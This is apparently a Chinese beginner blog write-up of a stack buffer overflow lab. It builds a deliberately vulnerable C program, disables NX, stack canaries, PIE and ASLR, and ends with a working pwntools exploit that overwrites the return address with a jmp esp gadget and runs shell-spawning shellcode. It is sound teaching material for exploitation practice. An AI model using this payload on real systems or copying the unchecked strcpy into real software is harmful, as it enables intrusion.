返回

一次简单的栈溢出

PWN…

0x01

Source:

#include <stdio.h>  
#include <string.h>  
  
void SayHello(char* name)  
{  
    char tmpName[60];  
  
    // buffer overflow  
    strcpy(tmpName, name);  
  
    printf("Hello %s\n", tmpName);  
}  
  
int main(int argc, char** argv)  
{  
    if (argc != 2) {  
        printf("Usage: hello <name>.\n");  
        return 1;  
    }  
  
    SayHello(argv[1]);  
    return 0;  
}  

如果直接使用gcc进行编译则会开启栈数据保护和aslr(地址随机化)。 编译命令

gcc 1.cpp -g -m32 -o kali_test -zexecstack - fno-stack-protector -no-pie

-zexecstack //关闭NX -fno-stack-protector //关闭栈数据保护

使用checksec检查文件保护机制,详细介绍

  1. RELRO:分别为Partial RELRO和FULL RELRO,开启FULL RELRO意味着无法修改got表
  2. Stack:表示栈保护是否开启。启用栈保护时,函数执行时会向栈中插入cookie信息,当函数返回时会验证cookie信息。而这个cookie信息就被称为canary。如果开启Canary found,那么就不能直接使用溢出的方法覆盖返回地址,而是需要通过改写指针与局部变量、leak canary、overwrite canary方法进行绕过。 关于堆栈保护的开启参数:-fno-stack-protector(关闭堆栈保护)、-fstack-protector(开启局部堆栈保护,只针对局部变量含有char数组的函数开启)、-fstack-protector-all(开启所有函数堆栈保护)。
  3. NX: 表示是否有对栈中数据执行的权限。原理就是将数据所在的内存页标记为不可执行,当程序溢出跳转到shellcode时,程序尝试执行指令时,cpu就会抛出异常。这种情况下,call esp或jmp esp方法就不能使用,但是可以利用rop进行绕过。 关于NX的参数:-z exestack(关闭DEP)
  4. PIE: 表示是否开启地址随机化。如果开启就意味着进程每次运行的时候地址都会变化。 关于ASLR的参数: 0(关闭地址随机化)、1(表示将mmap的基址,stack和vdso页面随机化)、2(表示在1的基础上增加堆(heap)的随机化) 关闭ASLR命令:sudo -s echo 0 > /proc/sys/kernel/randomize_va_space 局部关闭参数:-no-pie(kali下的gdb自带PIE) 在Linux下需要配合ASLR进行使用,即使开启PIE没有开启ASLR也无法实现地址随机化。

0x02

gdb调试:

可以使用蒸米大佬提供的pattern脚本产生填充字符
在gdb中传入参数
运行,出现错误
使用EIP的值进行偏移计算
这样就可以得出所需填充字符是72个。由于程序NX处于关闭状态,可以直接写入shellcode并且执行。 接下来寻找call espjmp esp这类的操作。ASLR处于关闭状态。 使用命令asmsearch "jmp esp"
poc:'a' * 72 + addr_jmp_esp + shellcode 这里的shellcode选择使用pwntools生成一段。 payload:

from pwn import *

payload = 'a' * 72 + p32(0xf7dd7b51) + asm(shellcraft.sh())
p = process(argv=['./kali_test',payload])
p.interactive()

运行结果:

0x03 One’s Storm

PWN的路还long…long…long…

参考资料(部分):

  1. Linux下pwn从入门到放弃
  2. kali下栈溢出实验和一些tips
  3. 一步一步学ROP之linux_x86篇

(ง •_•)ง 2018-07-11 12:14:22 星期三

Licensed under CC BY-NC-SA 4.0